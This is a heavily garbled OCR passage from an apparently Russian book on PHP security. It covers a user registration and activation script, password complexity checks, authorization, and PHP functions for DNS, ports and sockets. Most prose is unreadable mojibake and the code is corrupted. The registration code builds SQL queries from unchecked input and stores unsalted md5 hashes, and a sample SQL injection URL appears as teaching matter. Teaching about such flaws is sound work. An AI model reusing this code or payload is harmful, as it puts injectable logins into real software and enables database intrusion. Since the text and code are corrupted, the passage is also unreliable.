// Bpmeck momxeH OWTh KON NOOKIMUEHUS K Gase HaHHEX

// Ynansem He akTMBMpOBaHHEE B TeuYEHME 2-X YACOB ZanMUcH
Stmax=time()-7200;
DBQuery ( "DELETE FROM users WHERE reg_time < $tmax AND active=0");

// Tlpoeepsem, ecTs Ju B Da3e none30BaTeNk ¢ TakuM E-mail umm imveHem
Squery = DBQuery("SELECT * FROM users WHERE user_name =
'Susername’' or email = 'Semail'");
if (mysgl_num rows ($query) )
die("Tako#t none30BaATENL YEKe cymecTeyer");

Sactivatekey = md5(rand(1l, 1000000)).%username;
$password=md5 ($passl) ;
Suserrtime = time();

DBQuery ("INSERT INTO users (user name, pass, reg_time, email, key,
active) VALUES ('Susername', 'Spassword', 'Suserrtime’', 'Semail’,
'Sactivatekey', '0')");

$mailbody = "Bawa y4yeTHad 3anMch NOMeUleHa B odepenb OGHOBMeHud.\n\n ns
NoOTEEpRISHUA OCHOBJIEHMA WEJKHUTe 3Heck:\n
http://www.yoursite.com/register.php?id=$activatekey \n\nCnacuto";
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// OrnpaBuTe nuceMo Ha anpec $email c rexcroM nepemeHHo# $mailbody
)

// BKTMBaUMA NONLSCBATENH
if (isset($id))
{
Sresult = DBQuery("SELECT * FROM users WHERE key = '$id' and ac-
tive=0");
$data = mysgl_fetch_array(Sresult);
if (!mysql_num rows($result))
die("Kon orcyrcreyer. Bummio, Bama perucTpauma ycrapena");

DBQuery ("UPDATE users SET active=l, key="" WHERE key = '$id' and ac-
tive=0");
print ("AkTuBaumusa npounta ycrnemso");
}

7>

DTOT KOJI HE 3aKOH4YeH M TpebyeT N0paboTKM Mo KOHKPETHYI0 6a3y JaHHBIX, HO
XOpOLIO OTpaXaer JOrMKYy THITMYHOro cueHapus axktusauuu. Hdasaiite paccMmor-
PHM, YTO 3[eCh MPOUCXOMUT.

Ecnn nepeMeHHbIe $username (MMS PErHCTPUPYEMOrO MOJNb30BaTENSN) M $id (Ko
aKTHBALIMKM) HE YCTAHOBIEHBI, TO BhIBOAUM (hopMy perucrpaunu. Ha dopme mbt
3anpaliuBaeM caMblii MUHUMYM — HMMS$, NapoJib C MOATBEPXKIACHUEM H 3JIEKTPOH-
HBIii azpec.

Ecnu umsa nosbs3oBarelisi ykasaHo, TO CHAayaja MpoBepsieM, COOTBETCTBYET JIH Ma-
ponb noxarBepxaeHuio. Ecnu Her, 3Ha4YMT, roab3osareb omwnGes MpH BBoAe ma-
poJf, ¥ npomo/Kath Henb3sa. M3-3a 3toil omubKu 1monb30BaTeb He CMOXET BOM-
TH HA Ca¥T.

[Mpexne ueM gob6apiasAThE HOBYIO 3AIUCh, yAalseM W3 TaOMMILBI BCexX MONb30BaTe-
JIeit, KTO 3aperucTpupoBaicsi, HO He aKTUBUPOBAICS B TEUEHHUE [ABYX YACOB:

Stmax=time()-7200;
DBEQuery ("DELETE FROM users WHERE reg_time < Stmax AND active=0");

3ayeM HY)XHO yMcTUTH Tabnuuy? B peanbHOM XM3HW OYeHb MHOTO MOJb3OBaTe-
Jieil MBITAIOTCS PEruCTPHPOBATHCS C HENpaBMILHBIMH 3JEKTPOHHBIMHU ajpecamu
MPOCTO MOTOMY, 4TO HoATCs yKasaTh cBoil ampec. D10 Gosi3Hb yallle Bcero o6msc-
HSIETCH PACTYIIMM KonuyecTBoM crniama. JlioasM He oYeHb XOuYeTcsi, OooUH pa3 "3a-
CBETUBIIKCE", MOJYYaTh Ha CBO 3MEKTPOHHBIN azpec TOHHbI HEHY>XHOH Koppec-
noHxaeHuuu. Yrobsl KOMNYECTBO 3aperMCTPUPOBAHHEBIX, HO HE AKTHBHUPOBAHHBIX
3anuceif He MPeBBICHIO BCE PasyMHbIE Tpelenbl, W NPOU3BOIAT YUCTKY Oasnl
AAHHBIX.



244 Mnasa 5

Teneps nposepsieM, ecTh 1 B 6a3ze 3anuch ¢ TaKMM MMEHEM H TAKUM MapofieMm.
Ecau na, To HeobxonmMo npepsarh pabory cueHapus. Ecau maHHbie YHHKANbHBI,
TO MOXHO H00aB/IATL PErucTpalMoHHy0 MHpopMauuio. Ho B 6ase naHHBIX, 11O~
MHMO MMEHH, Mapojisi W 3JEKTPOHHOIO afpeca COXPAHMM BPEMSI PErMCTPaLUM
B Mojie reg_time TAOAMUBI, KIOY aKTHBAUMM (mojie key) M COCTOSIHME (MOJTIO
active npucouM 0, T. e. MoNb30BATENbL HE AKTHBUPOBAH).

Yro ucnonb3oBaTh B KayecTBe Kitova akTuBauuu? 3HaueHue JODKHO ObITh yHU-
KaIbHBIM M TIPH 3TOM He JOCTYMHBIM [Uls nonbopa, YTo6bl Xakep He CMOT yrazarb
KITI0OY M aKTMBMPOBaTh YUeTHYIO 3anuch 0e3 ykaszaHusl MpaBUIBHOIO JJIEKTPOH-
Horo azpeca. B xayectse rmpumepa Mbl TeHEpUPYEM cliydaliHoe YMcio M wndpy-
eM ero (yHkumeit mds (). Takoe sHayeHue nonobpath 3a 2 yaca NpM BCeM Xera-
HUM OyneT oveHb CNOXHO, @ TOC/He ITOro HEeMnoATBepXkKAeHHass WH(pOpMauHs o
perucTpaunu Oymer ynaneHa. Ho He cToMT HajmesThes Ha ciyvaifHbie uHcia.
Komnsiotep 6e3 npobiieM MOXET creHepHpoBaTh 1Ba OAWHAKOBBIX YMC/a MOAPIIL,
nostoMy npubasisiemM K 3ToMy WHGPY UMSI PETHCTPUPYEMOTO [M0JIb30BATES.

[Mapone Takxke XpaHuM B 6aze naHHBIX B 3awnMdpoBaHHoOM Bume. HanuiieMm kon
JUTsl co3naHusl B 6ase NaHHBIX 3aMUCH O PErHCTPaLIUK:

$activatekey = md5(rand(1l, 1000000)) .Susername;

$password=md5 ($passl) ;

Suserrtime = timel();

DBQuery ("INSERT INTO users (user_name, pass, reg_time, email, key,
active) VALUES ('Susername', 'Spassword', 'Suserrtime', 'Semail',
'Sactivatekey', '0')");

Tenepb oTnpasasieM MONL30BATENIO MHCbMO (0 pacehbyike coobUieHUI MBI TIOro-
BopHM B pazdenre 5.9) ¢ URL mis aktusaumn. Kak momkes soirasimers URL?
B namem cnyuae cueHapHil OXKMIAET KOJA akTHBAUUM B mapaMeTpe id, Mo3atomy
URL MOXeT BBIJISAETD TaK:

http://www.yoursite.com/register.php?id=S$activatekey

Mgl nporpammuo pobasiseM K ctpoke URL umsa napamerpa v npucsauBaeMm emy
3HAYeHHE MepPeEMEHHON Sactivatekey.

Tenepb obcynum cam ko akrusauuu. Ecnm nepemeHHast $id ycTaHOBIAEHA, TO
NpOBEpAEM, ACHCTBUTEILHO JIM €cTh B Gase ronb3obarteib ¢ TAKMM KOAOM, U TPH
3TOM 3anuch He akTUBHA. Ecnu HeT, TO coobliaeM Mojb30BaTeNio, YTO OH HE yc-
rej aKTUBUPOBATLCS, U MYy MPUIETCH MPOXOAUTH MPOLEIYpY PerHcTPaluM 3aHo-
po. Ecnu 3anucek ects, To OOHOBISIEM ee, OYMLLAs Mojie key, 4 B MOJie active
yctanasnusaem 1.

D70 TOABKO TPUMEP JIOTHKH, KOTOPEI ellle HYXHO ajanTUpOoBaTh MOA peanbHbIe
YCJIOBHSI, HO OH JIOCTATOYHO HammsiieH ¥ wHpopmaTuseH. S no/mxeH Bac npesoc-
Tepeub OT HCMOJb3OBAHHS 3TOrO CLEeHapusi B TAKOM Buae. BuumarenbHo pac-
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CMOTPHUTE ero M HaiauTe Ase sisHble omwnbku. INpobrnema GesonmacHoCcTH 3TOro
ClieHapHsi B TOM, YTO HH OfMH napamMerp He nposepsiercs. Heobxouumo nobasurb
B HaYaj0 CHEHAPHS NPOBEPKY NPUMEPHO CAEAYIOLIEro BUaA:

Susername = check_param($username) ;

$id = check_param($id) ;

Semail = check_param($email);

$passl = check_param($passl);

¢pass2 = check param($pass2);

O6paTuTe BHUMAHKE, YTO MPOBEPSIOTCSI BCE NMApPaMETPbl, B TOM JHCie H $id, XO-
T 3Ta nepeMeHHas nepenaercs He u3 dopmbl, a U3 URL, xoropsiit nomyuaer
MoNb30BaTe/b. XaKep JIerko MOXET H3IMEHWTb 3TOT mapametp u Habpars B8 URL
YTO-TO THUMA:

http://www.yoursite.com/register.php?id="; SHOW DATABASES;--'
M Ttakoit 3anpoc BBIMOMHUTCSH, MOTOMY YTO 3HAYEHUE MepeMeHHolt $id nepenaer-
cs SQL-3anpocy, U HH OIUH ClyXeOHBII CUMBOJI HE BRIPE3aeTcsl.

Ecnu maposiu B 3anpocax HE yYyacTBYIOT, TO MX MOXHO HE NMpOBEpsATh, YTOOLI Cly-
yailHO HE BLIPE3aTh HYXHBIA cHMBOJI, 6e3 KOTOpPOro Monb3oBaTe/lb HE CMOXET
BIOC/IEJICTBHH BOITH B CHCTEMY.

K Mpumeyanne j

McxogHblid koa Bbl MoxeTe Haitu B cbaiine \ChapterSiregister.php Ha komnakT-
AWCKe, NpUnaraeMom K KHure.

5.3.5. CnoxHocTb naponei

B pasdene 3.2.5 Mbl 1OCTaTOYHO MOAPOOHO roBOPHINH O TOM, 4TO BhIOMpaembie
MO/b30BATENSIMI TIAPONH MODKHBI OBITH CIOXKHBIMH, 4TOOBI MX TpyaHee OblLio
nonbupars. Kak 6bl BBl HH YrOBApMBA/IM MOCETHTEJIEH CO31aBaTh CAOXHbIE MMapo-
JIM U HU OOBACHSIU onacHOCTb qwerty WM Tapolsi, COOTBETCTBYIOLLEro MMEHH,
nonobHbIe 3anUCH MOCTOSHHO NosiRsAloTeA B 6ase naHHbIX. Elue xyxe, eciu aTu
3afUCH BCTPEYAIOTCH Y MPUBUIEIMPOBAHHBIX MOCETUTENEN.

Ecnu peructpauus Aaet JoCTyn K BaAXXHOMY COAEPXKHMOMY, TO HE CTOUT HalesdThb-
CSl Ha CIOXHOCTb BBIGHPAEMBbIX TOML30BaTENAIMM Taposieil, HeobXoIUMO TIPUHYX-
IaTh WCMONB30BaTh CJIOXKHBIN mapons. Kak aro moxwuo cmenars? Tyt ecth ABa
BapHaHTa:

3 cpenark MHOroOYMCJEHHBIE TPOBEPKU BBOAUMOIO [OJAL30OBATENIEM MNAapons,
K KOTOpPbIM MOXHO OTHECTH:

® JIPOBEPATH WIHHY BBOAUMOTIO Nnapojs M 3aCTabBiasiThb NMOJb30BaTENs BBOIAWTH
He MeHee 8 CMMBOJIOB;
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e [aposib JOJ/DKeH CONepXaTh He TONbKO OYKBBI, HO U UUGPBI U CHMBOILL
[pu atom GykBbl HOMKHBI GBITh B 0BoMX perucrpax. [ns 3Toro MoxHo
BBIMNOJIHUTE YeThbipe MPOBEPKU preg_match, H eclM XoTs Gbl OHA M3 HUX
BepHET OTPHULIATENbHBIH pesynbrar, HeoGxoquMo OGyner 3acTaBUTh MOJIL30-
BaTess NPUAYMATh YTO-TO Donee cioxHoe:

if (!preg_match("/[aA-2]/", $var))
{
die("Napone nmomxed comepkaTk OyxBue B BepxHeMm perucTpe");
}

if (! (preg_match("/[a-z]/", $var)))
{
die("lapone pomkeH copepxaTs OyKBE B HukHeM peructpe ");
}

if (!preg_match("/[.-_*&"%s#@!~]/", Svar))
{
die("Mapone OomAkeH coOepXaTh CHUMBOJE') ;
}

if (!preg_match("/0-9/", $var))

{
die ("Mapone DookeH comepxaTe undpu");
}

0 nmpoBepKM — 3TO XOpPOLIO, & BOT CAMOCTOSITENBHO (CLEHApUEM Ha cepBepe)
CreHepHpOBAHHBINH MAPOIb MOXET NeHCTBUTE/IbHO rapaHTHPOBATh, YTO MAapoJb
nosb3oBaressi He OyneT GbicTpo mMomoGpaH. AJITOPUTM CO3NAHMSE CTPOKHU Mapo-
s Moxer ObITh JIOObIM, [1aBHOe, 4TOOBl OH TeHEpUpOBal AEHCTBUTEJILHO

ciyvaiiHele faHHbie. Torga perucTpauusi Ha caiite Oyaer BBIVISIIETh ClEyiO-
MM obpasoM:

e BBOI PErMCTPALMOHHBIX JAHHBIX H BEIGOD UMEHU MOJNB3OBATES;

e cepBepHas MporpaMMa TeHepHpYET CTPOKY Mapojisi U BBICHUIAET €€ KIHMEHTY
Ha SJIEKTPOHHBIN aipec, BLIHYXIASA MCIOJB30BaTh TO, YTO CO3AAN CLUEHAPHI.

5.3.6. 3awmra coeguHeHuUs

Henocrarku MpUMEpoOB, pacCMOTPEHHBIX paHee, 3aKII0YaloTCss B TOM, YTO JIaH-
HBIE IO ceTH MepeiaroTcsi B OTKPHITOM BHIE, W JI000H Xakep, KOTOPbI cymeer
nepexBaTTh COCAMHEHHME M TMAKeThl C MApPOJNsMHU, CMOXET TMOYYHTh HOCTYMN
K cepsepy. Bosee HamexHbie crocobbl ayTeHTHGMWKALNMU — MCIOMb30BAHUE Cep-
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tudukaTos wiu nacrnopros ot Microsoft (Microsoft Passport). Ecnu Bei paspaba-
TBIBAETE KPYITHEBLH KOPNOPATUBHBIIA CAIT, TO pacCMOTPUTE BOIMOXHOCTh MpUMeE-
HEeHUsI OOMHOH M3 BTHUX TEXHOJOTHH. ﬂ,}IH GosbIIMHCTBA NOMAIIHUX M HeDOMBIINX
caiiToB 3TO OYIET CIIMLIKOM CJAOXHO U J0pOro.

Ceprudukarsl WHPPYIOTCS C MOMOLIBIO AITOPUTMA C OTKPHITHIM KIIOUOM, [0~
3TOMY TMEepexBaT JaHHBIX CTAHOBUTCH BeceMbicieHHbIM, Hbo paciuudposaTh Takue
NAaHHBIE MpPAKTHYECKH HEBO3MOXHO. Tounee CKa3aTb, BO3MOXHO, HO 3aTpaTbl U
BpeMsi Ha B3ioM OyayT cnuiikoM GoiblIMMU M, cKopee Bcero, 3amindpoBaHHbIE
NAHHbIE YXKe YCTapeloT U MOTepsIoT Kakylo-mmbo LeHHOCTb.

CrnoxHas 3amura yepes ceprudukarsl U nacnopra HeoOXoIMMa TONBKO TaM, Fae
TPUCYTCTBYIOT AEHCTBUTENBHO KOH(pHASHUNANBHBIE NaHHBIE, HATIPUMED, TIPU pa-
OoTe B MHTEpPHET-MarasuHe, rie Mo ceTH NepeaalnTcs HoMepa KpeAWTHBIX KapT.

5.4. AsTopusauums

Urobs! nanbHeHIUUI pasroBop LIeJT HA OMHOM f3bIKE, HEOOXOAMMO YETKO MMOHH-
MaTh, Y€M OTIMYaeTcsl ayTeHTHU(UKALUS OT aBTOpU3aluM. AyreHTHUKALMS
3AKITIOYAETCA B MPOBEPKE UMEHU TMOJ/Ib30BATEA W [MAPOJA, a dABTOPU3ALIUA 3AKITI0-
4aercsl B MPOBEPKE TOrO, YTO paspelleHo aejars noub3osarenio. C ayreHTHHKA-
LMeit Mbl pazobpaiich W yBUIEIH OCHOBHBIE ONACHOCTH, ¢ KOTOPLIMH Bbl MOXETE
CTONKHYTHCS.

ABTOpM3aLIMsSI HE MEHEee ONacHa, U OLMUOKYU 3[eck HEPEIKO TPUBOIAT K TOBBILIE-
HHIO MOJb30BaTENISIMA CBOMX Mpas. JonycTHM, YTO Xakep CMOr aBTOPH30BAaTHCS
Ha BalleM cafTe Kak IMPOCTOH MOIb30BaTe/1b. Tenepb OH MOXET BBIMOIHATH OI-
peneneHHbIE CLEHAPHM C ONpeaeieHHbIMH MpaBaMH W orpaHuyeHusiMu. Pac-
CMOTPUM MNpPUMEpP OrpaHHYEeHMS HOCTYNa K ONpele/ieHHOMY MOYTOBOMY SIIMKY
yepes Web-unrepdeiic. INpoiias ayreHTHdMKaLMIO, CUEHAPHIl AO/KEH CcOXpa-
HUTb I1e-To0 WHQOPMALMIO 0 TOM, K KAKOMY MMEHHO 3JIEKTPOHHOMY TMOYTOBOMY
SIUMKY TporcxonuT aoctyn. Ecnu 310 3HayeHHe NOCTYIMHO IS peNaKTUPOBAHMS,
TO B3JIOMIIMK MOXET M3MEHMUTh €ro ¥, oboiins orpaHUyYeHHUE, NMEPeKIoYUTHCA Ha
yTpaBiieHUe APYTHM MOYTOBLIM SLIMKOM.

OueHb YacTo Ha calitax ObiBaeT HECKOMBKO ypoBHe# mpas nocrynma. Hanpuimep,
rocresasl y4eTHasi 3anmMch ro/jib3osarens (opyMa paspeuraer ToIbKO MPOCMATPH-
Barb COOOIIEHHs], 3aMUCh ABTOPHM30BAHHOIO MOJB30BATENSl MO3BONAET CO3[1aBaTh
HOBbIE TEMBI, MOJIEPAaTOp MOXET pelaKTUpOBaThb W YIAIATH 4YYXXKUE COODLIEHHS,
a aIMWHUCTPATOP MMeeT moJiHbie npasa. [ToayuuB xotsi 661 MUHUMAIbHBIE [TpaBa,
xakep OymeT cTpeMHMTbCs MOBLICUTH MX M BblIaTh cebs 3a Moleparopa WIW Haxe
aAMUHHCTpaTOpa.

IMoayuyaercsa, 4TO OAHOMH ayTeHTHMUKALUMHK HEIOCTATOYHO, HeobXooWMo Tiociae
3TOrO MPH KaXIoM obpalleHHH K orpenejieHHbIM (DyHKUUSAM MpPOBEPATH, A 1eii-
CTBUTENBHO JIM TOJIE30BaTelb UMeeT npaso 310 aenatk? BoT 310 M ecTh aBTOpH-
sauusa. Ecnu ayreHTudHKaus 10/DKHA MPOH3BOAUTLCS! TONBKO OIWH pas, TO aB-
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TopM3auMst HeobxoauMa rnepen BbiMonHeHHeM Joboil onepauuu, Kortopas He
JlonkHa OGbITh OCTYMHA BCEM.

Knaccnyeckasi ommbxa nporpaMMHCTOB — TPOBEpPKA aBTOPU3ALMM B OJHOM Clie-
Hapuu, a pabora ¢ naHHbiMu B apyrom. Hanpumep, y Bac ectb ¢opMa ISl Beoaa
JAHHBIX 0 nons3osaresie B caiine index.php:

if (pa3peweHo)

{

<?

<form action="authorize.php" method="post">
<BR>BBemure maHHee: <input name="userdata">
<P><input type="submit" value="Enter" >
</form>

>

}

CHayanma mpoMCXOAMT IpoBepKa, paspelleHo Ju orobpaxarh Gopmy, a norom
yxke orobpaxaercs ¢opma, ormpaBisiouwas AaHHble cleHapuio authorize.php.
Ecnu xakep y3HaeT o cyliecTBoBaHMH aToro haiina U MMeHax napamerpoE, TO
eMy He coctaBuT Tpyaa cosnatb HTML-daiin ornipaBku JaHHBIX Y cebsi Ha XecT-
KOM JIMCKE M HAMpaBuUTh JaHHLIE HemocpeacTseHHo daitny authorize.php, o6xoas
MpPOBEPKY AOCTYNa. ABTOpU3aLMsI JoKHA ObiTh B 0o6oux daitnax:

O B index.php Bbl AOMKHBEI MPOBEPHTH NMPABO AOCTYNA, YTOOLI 3HATH, HYXKHO JIH
orobpaxars hopmy BBoja. [ToMHUTE, YTO 3TO He 3alUMTA, 4 BCEro JHlIb cle-
[IOBAHME XOpOLIUM MaHepaMm B odopmieHMM caliTa, Koraa Ha CTpaHHIE OTO-
OpaxaeTcs TONBKO TO, YTO [AOCTYIHO, paspelleHo M HYXKHO, a Bce JuuiHee
TPSTYETCH

O B authorize.php nposepsieM npaBo J0CTyNna Ha BbIMOJHEHWE KOMaHAbl. MmeH-
HO 3Ta MpoBepKa oTBevaeT 3a Ge30MacHOCTh, U 3TO YK€ He JaHb MOMIe WU
KaKMM-TO mpasuiam, ato 6ezonacHocTb. Ecnu gaHHbie, nojiyvyeHHble u3 (op-
Mbl, nepenarorcs Wit oOpaboTKN B HECKOMBKO CLEHAPHEeB, TO B KaXIOM M3
HUX JOJDKHA MPOUCXOANTHL ABTOPU3ALIHS.

5.5. Pabora c ceTblo

Mt paccmarpusaem sisbik PHP ¢ Touku 3penusi xakepa, a 10 He Tonbko Geso-
NAcHOCTh WIM ONTUMM3ALIMU, HO M ceTeBoe nporpammuposanme. Jlioboit xakep
WIH B3NIOMIIMK MMPOCTO 0bA3aH OTIHYHO 3HATh CeThb W nporpaMMupoBaHmue cere-
BbIX l'IpHJ'IO)KGHHﬁ. HUmeHHoO 3TO momoraer 3TOYMBIIJIEHHWKAM BO B3JIOME, CO3-
panuu nporpamm backdoor, myrok Han aaMMHUCTparopaMu cepsepos u T. 1. He-
KOTOpPbIE M3 CETEBLIX TPIOKOB XaKepOB HaM MPEACTOUT PAcCMOTPETh B HNaHHOMH
KHUTe, HO CHayala pacCMOTPUM ceTeBble BO3MOXHOCTH MHTepnperatopa PHP.
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Sl mocrapaioch OMUCHIBATH paboTy © CETHIO MAKCHMAILHO MPOCTO, HO BCE X€ BaM
HeoOXooMMO NMOHWMaTh, Kak paboraer cerb, npotokonsi TCP u UDP, ornnuus
B HUX, YTO Takoe pararpaMma W T. 4. [lpu paccMorpeHUM TEOpHHM M MPAKTHKH
CeTH MBbl orpaHuuruMcs paboToil ToAbKO ¢ WHTepHeT-TIpoToKosaMu. CoKeTsl MO-
YT UCHONL3OBATLCH U Ul COEAMHEHUSI MEXAY npoleccaMi, HO 3TY TEMY MBI
paccMaTpuBath He Oynem.

5.5.1. Pabora c DNS

Bce Mbl puBbIKIK paboTaTh ¢ CHMBOJILHBIMU aapecamMi KoMmmbloTepoB B MHTepHe-
Te, HO ToNbKO MHTEpHeT He MOXeT ¢ HuMHM paborark Ge3 cneuuanbHoil CiyKObl
DNS (Domain Name System, ciyx6a umMen nomeros). [Uis agpecaitMi KOMIbIOTe-
POB B CETH MCMONMB3YIOTCS unciioBbie IP-anpeca, a CMMBO/TbHbIE CIOBA — 3TO BCETO
aMiub neesnoHumsl. Korna Bbl 3ampaiivBaeTe COGAMHEHUE C CEPBEPOM MO CHM-
BOJILHOMY MMEHH, TO cHaudajia 3To uMs npespamiaercsi B [P-anpeca ¢ nomouisio
cmyx6sl DNS, U ToNbKO MOTOM MPOUCXOAUT COeAMHEHHe ¢ nony4yeHHbiM [P.

Hrak, wis onpenenerus IP-anpeca ucnonbsyiores (GpyHKUMM gethostbyname () W
gethostbynamel (). ObeuM (yHKUMSM HYXHO Nepegarb B KayecTBe napamerpa
UMsl KoMmbioTepa, IP-ampec Kotoporo Bbl XOTMTE y3HaTh. B kauecTse peayib-
Tara (YHKUMSI gethostbyname() BO3BpallaeT nepsbiit HaigenHsiit [P-anpec,
a gethostbynamel () BO3BpAlAET CIIMCOK BCEX HAMAEHHBIX anpecoB. [leo B ToM,
YTO 32 OJHMM MMEHeM MoXeT ObITh 3akperuieHo Heckoibko IP-ampecos. Ecin
BAM HYXHO [POCTO CO3[1aTh COoeNUHEHUEe, TO MOXHO BOCIONb30BaThes yHKUMeil
gethostbyname (), 3TOro BIOJIHE JOCTATOYHO.

Pacemotpum npumep onpenenenus [P-anpeca no foMeHHOMY MMeHM:
<?php

S$host_ip = gethostbyname ("www.yahoo.com") ;

print ("Y Yahoo IP ampec: $host ip");

>

Huorga 6sBaer HeobXxonuMo BbINOAHUTH 0OPATHYIO orepauuio — mnpeodpazosBarh
IP-agpec B nomeHHoe ums. [asi aToro ucnonbayercsi (pyHKUMSA gethostbyaddr ().
Droit (pyHKUMM HYXHO riepenats 1P-anpec, a B pesyaprarte Mbl MOAYYUM HOMEH-
HOE® MMSI:

$name=gethostbyaddr("127.0.0.1") ;
print("Your computer name: $name");

Y kaxzoro cuMMBOJIBHOTO MMeHM obszareibHO IoJkeH ObiTh IP-anpec, uHave
cerepoe coenuHenue Oymer HemoctynHo. Ho npu atom He y kaxaoro [P-anpeca
€CTh MUMSHA, WM, BO3MOXHO, MNPOCTO HEe cyllecTByeT coorBercTBylomass DNS-
3anuck. B sTom ciyuae DyHKIMS gethostbyaddr () Bo3Bpaiaer He ums, a IP-
ajpec, KOTOPhI Bl yKasalii B NapaMeTpe.

Anpec 127.0.0.1 coorsercTByeT NOKIbHON MaliMHe, W Ui 3TOro aapeca (yHK-
M1, yalle scero, sosppaiuaer ums localhost.
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5.5.2. MNpoTtokons.l

Jlns nanebHeiiero paccMoOTpeHusl TeMbl HeobXoMMMO MOHMMATh, YTO TaKOe MOpT.
Honyerum, YTO HA BalleM KOMNbIOTepe 3amyuieHo ase cayxosr — Web u FTP.
KomnpioTep monyyaer naxker AaHHbIX, HO B HEM He HamucaHo, Kakoi ciayxoe
HYXHO noakmiouuThesi. Kak ke Torna onpenenuTs, KTO 10MXeH obpaborath 3TOT
naker naHHeix? BoT Kak pa3s misi 3TOTO M MCMOJNB3YIOTCS HOMepa MOPTOB, KOTO-
poie ects y nporokosnioB TCP (u ero npoussoausix FTP, HTTP, POP3, SMTP ..)
u UDP.

Kaxcnas cinyx6a samyckaercsi Ha onpeseseHHoM nopty. Y GonblunHeTBa pacnpo-
CTpaHeHHbIX MPOTOKOIOB HOMEpa MOPTOB 3apaHee ONpeAeseHbl, HO MoryT ObiTh
HazHayeHbl W npouspoibHo. Hanpumep, FTP paboraer Ha mopry 21, a Web-
cnyx6a paboraer Ha nopry 80. Kaxastiit TCP- wnu UDP-naker unentuduunpy-
erca [P-anpecoM koMmbioTepa, KOTOPOMY OH AOJ/DKEH OBITH HOCTABIEH, H HOME-
POM T10pTa, MO KOTOPOMY ONpE/eNsieTcsi CepBuc-rnomyyaresb nakera.

st yno6cTBa OCHOBHBIM MOpTaM Ha3HaueHsl uMeHa. Her, oHM onpenensiorcs He
JIMHaMWYecKH, a MPOCTO NMpomucaHbl B KoH$urypaunoHHoM daitne (wis OC Li-
nux sto daiin /ete/protocols), MoaTomMy 10BEpATH HMEHAM HE CTOMT, TAK KaK OHM
MoryT GbITh M3MEHEHB!, Aa ¥ Ha nopty ftp moxer GHITH 3anyiieHa COBEPLIEHHO
apyras ciyx6a.

Y1o6BI OnpeaennTh MOPT MO ero MMeHH, UCHOJb3yeTcsl (PYHKLMS getservbyname (|,
KOTOpOit nepemaercs UMs Mopra U WMs npotokona (tcp wiu udp), a B peayabrare
MBI TIOMy4aeM Homep mopra. O6parHas onepaiusi BHIMOIHAETCS C MOMOLIBIO
(yHKIMU getservbyport (), KOTOPOM nepenaercst HOMep MOpTa U UMS MPOTOKO-
na. 3ayeM HyxeH nporokon? Jleno B Tom, uto nopthl nportokoios TCP u UDP
pasHsie. [Topt 21 nporokona TCP — He To Xe camoe, uro y UDP.

Yro takoe nporokon TCP u UDP? TCP — ocHosHoit nporokon UHTtepHera, Ko-
TOPbIH MCITIOB3YeTCsl B HACTOsILEEe BpeMsl MPAKTHYECKH Ha KaxiaoM wary. [puu-
uun ero paboThl 3aKJIIOMAETCs B TOM, YTO NMpPOrpaMma-cepBep 3anyckaer Mpociy-
IIMBAHME HA OMNpPEIENeHHOM MOPTY B OXWAAHWM COEOUHEHWS CO CTOPOHbI
kiauenTa. KInHeHT ycTaHABIMBAET COEIMHEHHE C CEpPBEPOM, M TOC/E ITOTO MOXET
npoucxonuts obmeH nauHbiMH. [lo okoHuyaHuM ob6MeHA NAHHBIMM COEIVHEHWE
sakpbiBaercsi. TIpy nepenave JaHHBIX MPOTOKOJ rapaHTHUPYeT, 4TO AaHHble GyayT
nepeaaHbl BEpHO, M HU OOWH TIAakeT He Oyzer morepsid, Giarogaps cucTeMme noj-
TBEPXKIEHHS MONYYEHHsT TaHHBIX.

IIporokon UDP orauyaercsi TeM, 4TO He ycraHasnupaer coeauHeHus. Cepsep
CO3/1aeT COKET W MpOCIylUIMBaHUE HA OTpeJe/ieHHOM TIOPTY, & KIIMeHT MpH nepe-
Jlaye NAHHBIX, HE YCTAHABIWBAs COENMHEHWS, MPOCTO OTNPABIsAET JaHHBIE Ha
cepsep. [1pOTOKOJI He rapaHTHUpYeT LEeJOCTHOCTH NAHHBIX M HE rapaHTHpyer Aoc-
TaBki. Eciin cepsep He JOCTYNEH WIM MakKeT AAHHBIX MPOCTO 3arepsajicsl B CETH,
NIAHHbIE OYAYT YTepsiHbL.
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5.5.3. Cokerbi

JInsi cospaHusi ceTeBbIX NPOrpaMMm (Co3faHWe COeAWHEHHS W TIpHeMa-Tiepenaqu
HJaHHBIX) CTAHAAPTOM JI€ (DAKTO CTANM COKeTbl, KOTOphle nojaepxupaiorcs 6onb-
wuHerBoM OC, takumu kak Windows u Unix. Msb1 6ynem paccmarpusarh (yHK-
LMK M Mapale/ibHO 3HAKOMHTLCA C TeM, Kak paboTaloT COKETHI.

Ecnu Bl paGotanmm c ceTsiMM Ha KakoM-JIMGO $3bIKE TPOrpaMMHMPOBaHMS, TO
dynkuun PHP Oyayr Bam 3HakoMbl, 0cOGEHHO WX NMapamMerTpsl ¥ MPHHLMI pabo-
Tol. Ec/IM JKe y Bac HeT ombITa MpOrpaMMHUPOBAHMUS CETH, TO HEKOTOPbIE BOMPOCH
MOKAXYTCsl BaM CHOXHBIMH. OJHAaKO, MoBepsTe MHe, Kaxjuas (dyHKUMsI HeobXo-
IUMa, U OT HEE HUKYIA He NeThCs.

CereBble (YHKLNH BO3BpAlLAIOT B KAYECTBE peayabrara ueioe yucio. Ecau oHo
MeHblle HYIA, 3HAYUT, BO BPeMs BBIMOJHEHMS QYHKUMM Mpon3onuia omubka.
TexkcroBoe onucanue OWHOKM MOXHO Y3HATh C MOMOMIBI0 (YHKUIHH
socket_strerror (). Yaule Bcero olMGKH MPOUCXONAT, KOrAa CeTh HEZOCTYTI-
Ha WIM MOPT yXe 3aHAT (3Ta owubKa BO3HUKAeT npu pabore ¢ dyHKUMEH
socket_bind()). [IBe nmporpaMMbl HE MOTYT OTKpPBITh OAWH M TOT Xe MOpT.

UHnunanusauusn

Camoe nepsoe, 4To HeoBXOMMMO CcEaTh, — CO3[ATh COKET, Yepe3 KOTopblil Oy-
AeT MPOMCXOAMTH Besi nocnenyiouiasi paGora. [isi 31oro ucnonbayercest GyHKums
socket_create (), KoTopasi B 00lleM BUIE BBIIJISIUT TAK:

int socket_create(int domain, int type, int protocol)
Y arolt dyHKIIMM TPH NapaMeTpa:
0 nepssblif MapaMeTp MOXeT NMPUHMMATE OJHO M3 ABYX 3HAYEHWIL:

e AF_INET — yKa3biBaeT Ha HeobXooMMOCTh MCMOIB30BaHHS MPOTOKOJA Ce-
metictea MurepHer. K takum nporokonam orHocarcs TCP, UDP, FTP,
HTTP, POP3 u . 1.

